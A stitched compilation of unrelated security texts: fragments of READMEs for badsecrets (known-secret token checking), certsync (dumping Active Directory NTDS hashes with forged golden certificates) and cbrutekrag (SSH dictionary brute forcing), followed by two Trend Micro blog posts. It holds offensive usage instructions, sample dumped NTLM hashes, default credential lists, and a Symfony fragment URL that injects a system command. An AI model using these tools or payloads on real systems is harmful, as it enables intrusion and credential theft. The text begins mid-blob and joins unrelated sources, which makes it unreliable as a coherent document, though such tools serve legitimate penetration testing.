yTqycqRz+3aQ41JTgiKwCG+4XvyWeHatFUpRkEZuUS8MthaMTZw4h0vVhoyN0mEXBA7/OEJapSg2eB0OZuGK4OzMIJwc+F9SROzF82jQHTG7EZCU+1siwx0H39fbOVdqAurpdBuw4Bcu2i7fTmkhzMYYyasTQsWlN9sgERV2vXJ8R67+U5VErzyJdflQ90EY1lMsUtV3FfX/8wBAFqD9wvbeM61SsKiBOZ3mYKmNws4IVouAFfEdPbBfz/p47cXhxo2usd+PW4pA8dh1frEFeztnLT/08h/Ig6TzOUNTLml09BAtheLtVARuEribkVK+cDTGO6NNxcSd+smyRP7y2jL+ueuW+xupE/ywrF/t9VZMAXYY9F6Ign8ctYmtQxlspVuuPc+jQATCVNkc5+ByWVI/qKRr8rIX5YPS6PmDPFPTwWo+F8DpZN5dGBaPtRPJwt3ck76+/m6B8SJMYjK6+NhlWduihJJ3Sm43OFqKwihUSkSzBMSUY3Vq8RQzy4CsUrVrMLJIscagFqMTGR4DRvo+i5CDya+45pLt0RMErfAkcY7Fe8oG3Dg7b6gVM5W0UP7UhcKc4ejO2ZZrd0UquCgbO4xm/lLzwi5bPEAL5PcHJbyB5BzAKwUQiYRI+wPEPGr/gajaA==mFauB5rhPHB28+RqBMxN2jCvZ8Kggw1jW3f/h+vLct0=","Width":"770px","Height":"588px","Title":"Image Manager"}
"""
r_list = x.carve(body=telerik_dialogparameters_sample)
print(r_list)from badsecrets.base import check_all_modules
tests = [
"yJrdyJV6tkmHLII2uDq1Sl509UeDg9xGI4u3tb6dm9BQS4wD08KTkyXKST4PeQs00giqSA==",
"eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA",
"vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNd s%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQ xGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8ghT08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3 NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D",
"qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABRhZGwcBykRPNQv++kTK0KePPqVVGgAAAAFAFNkYXRhXHicHYc7DkBQAATnIUqVa3jxLRzApxJBrxA18bmdw1l2k9nZG/Bcxxjt4/An3NnYOVlZOMRL7ld0NAQ9IzUTMy0DeUpMqkYkso+ZGFNiKbRW//Pyb0Guzwtozw4Q",
".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRIpvaTZRQMM3-UypscEN57ECtXis",
"eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo",
"dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRk M4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841",
"https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=",
"s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc"
]
for test in tests:
r = check_all_modules(test)
if r:
print(r)
else:
print("Key not found!")import requests
from badsecrets.base import carve_all_modules
### using python requests response object
res = requests.get(f"http://example.com/")
r_list = carve_all_modules(requests_response=res)
print(r_list)
### Using string
carve_source_text = """
<html>
<head>
<title>Test</title>
</head>
<body>
<p>Some text</p>
<div class="JWT_IN_PAGE">
<p>eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo</p>
</div>
</body>
</html>
"""
r_list = carve_all_modules(body=carve_source_text)
print(r_list)Nothing would make us happier than getting a pull request with a new module! But the easiest way to contribute would be helping to populate our word lists! If you find publicly available keys help us make Badsecrets more useful by submitting a pull request to add them.
Requests for modules are always very welcome as well!
certsync is a new technique in order to dump NTDS remotely, but this time without DRSUAPI: it uses golden certificate and UnPAC the hash. It works in several steps:
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb 5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Contrary to what we may think, the attack is not at all slower.
git clone https://github.com/zblurx/certsync
cd certsync
pip install .
or
pip install certsync
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username] [-p password] [-hashes LMHASH:NTHASH]
[-no-pass] [-k] [-aesKey hex key] [-use-kcache] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver] [-dns-tcp] [-dc-ip ip address]
[-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]
Dump NTDS with golden certificates and PKINIT
options:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-outputfile OUTPUTFILE
base output filename
CA options:
-ca-pfx pfx/p12 file name
Path to CA certificate
-ca-ip ip address IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP
authenticati on options:
-d domain.local, -domain domain.local
Domain name
-u username, -username username
Username
-p password, -password password
Password
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it
will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-use-kcache Use Kerberos authe ntication from ccache file (KRB5CCNAME)
-kdcHost KDCHOST FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection options:
-scheme ldap scheme
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
OPSEC options:
-ldap-filter LDAP_FILTER
ldap filter to dump users. Default is (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
-template cert.pfx base template to use in order to forge certificates
-timeout timeout Timeout between PKINIT connection
-jitter jitter Jitter between PKINIT connecti on
-randomize Randomize certificate generation. Takes longer to generate all the certificates
DSRUAPI is more and more monitored and sometimes retricted by EDR solutions. Moreover, certsync does not require to use a Domain Administrator, it only require a CA Administrator.
This attack needs:
Since we cannot PKINIT for users that are revoked, we cannot dump thier hashes.
Some options were added to customize the behaviour of the tool:
-ldap-filter: change the LDAP filter used to select usernames to certsync.-template: use an already delivered certificate to mimic it when forging users certificates.-timeout and -jitter: change timeout between PKINIT authentication requests.-randomize: By default, every forged user certificates will have the same private key, serial number and validity dates. This parameter will randomize them, but the forging will take longer.
Penetration tests on SSH servers using dictionary attacks. Written in C.
brute krag means "brute force" in afrikáans
This tool is for ethical testing purpose only.
cbrutekrag and its owners can't be held responsible for misuse by users.
Users have to act as permitted by local law rules.
cbrutekrag uses libssh - The SSH Library (http://www.libssh.org/)
Requirements:
makegcc compilerlibssh-devgit clone --depth=1 https://github.com/matricali/cbrutekrag.git
cd cbrutekrag
make
make installRequirements:
cmakegcc compilermakelibssl-devlibz-devgit clone --depth=1 https://github.com/matricali/cbrutekrag.git
cd cbrutekrag
bash static-build.sh
make install$ cbrutekrag -h
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/ __|| '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` |
| (__ | |_) | | | |_| | || __/ <| | | (_| | (_| |
\___||_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, |
OpenSSH Brute force tool 0.5.0 __/ |
(c) Copyright 2014-2022 Jorge Matricali |___/
usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst]
[-t THREADS] [-o OUTPUT.txt] [TARGETS...]
-h This help
-v Verbose mode
-V Verbose mode (sshlib)
-s Scan mode
-D Dry run
-P Progress bar
-T <targets> Targets file
-C <combinations> Username and password file -t <threads> Max threads
-o <output> Output log file
-a Accepts non OpenSSH servers
-A Allow servers detected as honeypots.cbrutekrag -T targets.txt -C combinations.txt -o result.log
cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.1.0/24root root
root password
root $BLANKPASS$
Trend Micro Research has developed a go-to resource for all things related to cybercriminal underground hosting and infrastructure. Today we released the second in this three-part series of reports which detail the what, how, and why of cybercriminal hosting (see the first part here).
As part of this report, we dive into the common life cycle of a compromised server from initial compromise to the different stages of monetization preferred by criminals. It’s also important to note that regardless of whether a company’s server is on-premise or cloud-based, criminals don’t care what kind of server they compromise.
To a criminal, any server that is exposed or vulnerable is fair game.
Cloud vs. On-Premise Servers
Cybercriminals don’t care where servers are located. They can leverage the storage space, computation resources, or steal data no matter what type of server they access. Whatever is most exposed will most likely be abused.
As digital transformation continues and potentially picks up to allow for continued remote working, cloud servers are more likely to be exposed. Many enterprise IT teams, unfortunately, are not arranged to provide the same protection for cloud as on-premise servers.
As a side note, we want to emphasize that this scenario applies only to cloud instances replicating the storage or processing power of an on-premise server. Containers or serverless functions won’t fall victim to this same type of compromise. Additionally, if the attacker compromises the cloud account, as opposed to a single running instance, then there is an entirely different attack life cycle as they can spin up computing resources at will. Although this is possible, however, it is not our focus here.
Attack Red Flags
Many IT and security teams might not look for earlier stages of abuse. Before getting hit by ransomware, however, there are other red flags that could alert teams to the breach.
If a server is compromised and used for cryptocurrency mining (also known as cryptomining), this can be one of the biggest red flags for a security team. The discovery of cryptomining malware running on any server should result in the company taking immediate action and initiating an incident response to lock down that server.
This indicator of compromise (IOC) is significant because while cryptomining malware is often seen as less serious compared to other malware types, it is also used as a monetization tactic that can run in the background while server access is being sold for further malicious activity. For example, access could be sold for use as a server for underground hosting. Meanwhile, the data could be exfiltrated and sold as personally identifiable information (PII) or for industrial espionage, or it could be sold for a targeted ransomware attack. It’s possible to think of the presence of cryptomining malware as the proverbial canary in a coal mine: This is the case, at least, for several access-as-a-service (AaaS) criminals who use this as part of their business model.
Attack Life Cycle
Attacks on compromised servers follow a common path:
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The monetization lifecycle of a compromised server
Often, targeted ransomware is the final stage. In most cases, asset categorization reveals data that is valuable to the business but not necessarily valuable for espionage.
A deep understanding of the servers and network allows criminals behind a targeted ransomware attack to hit the company where it hurts the most. These criminals would know the dataset, where they live, whether there are backups of the data, and more. With such a detailed blueprint of the organization in their hands, cybercriminals can lock down critical systems and demand higher ransom, as we saw in our 2020 midyear security roundup report.
In addition, while a ransomware attack would be the visible urgent issue for the defender to solve in such an incident, the same attack could also indicate that something far more serious has likely already taken place: the theft of company data, which should be factored into the company’s response planning. More importantly, it should be noted that once a company finds an IOC for cryptocurrency, stopping the attacker right then and there could save them considerable time and money in the future.
Ultimately, no matter where a company’s data is stored, hybrid cloud security is critical to preventing this life cycle.
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If the first few months of 2020 have taught us anything, it’s the importance of collaboration and partnership to tackle a common enemy. This is true of efforts to fight the current pandemic, and it’s also true of the fight against cybercrime. That’s why Trend Micro has, over the years, struck partnerships with various organizations that share a common goal of securing our connected world.
So when we heard that one of these partners, the non-profit Shadowserver Foundation, was in urgent need of financial help, we didn’t hesitate to step in. Our new $600,000 commitment over three years will help to support the vital work it does collecting and sharing global threat data for the next three years.
What is Shadowserver?
Founded in 2004, The Shadowserver Foundation is now one of the world’s leading resources for reporting vulnerabilities, threats and malicious activity. Their work has helped to pioneer a more collaborative approach among the international cybersecurity community, from vendors and academia to governments and law enforcement.
Today, its volunteers, 16 full-time staff and global infrastructure of sinkholes, honeypots and honeyclients help run 45 scans across 4 billion IPv4 addresses every single day. It also performs daily sandbox scans on 713,000 unique malware samples, to add to the 12 Petabytes of malware and threat intelligence already stored on its servers. Thousands of network owners, including 109 CSIRTS in 138 countries worldwide, rely on the resulting daily reports — which are available free of charge to help make the digital world a safer place.
A Global Effort
Trend Micro is a long-time partner of The Shadowserver Foundation. We automatically share new malware samples via its malware exchange program, with the end goal of improving protection for both Trend Micro customers and Shadowserver subscribers around the world. Not only that, but we regularly collaborate on global law enforcement-led investigations. Our vision and mission statements of working towards a more secure, connected world couldn’t be more closely aligned.
As COVID-19 has brutally illustrated, protecting one’s own backyard is not enough to tackle a global challenge. Instead, we need to reach out and build alliances to take on the threats and those behind them, wherever they are. These are even more pronounced at a time when remote working has dramatically expanded the corporate attack surface, and offered new opportunities for the black hats to prosper by taking advantage of distracted employees and stretched security teams.
The money Trend Micro has donated over the next three years will help the Shadowserver Foundation migrate to the new data center it urgently needs and support operational costs that combined will exceed $2 million in 2020. We wish the team well with their plans for this year.
It’s no exaggeration to say that our shared digital world is a safer place today because of their efforts, and we hope to continue to collaborate long into the future
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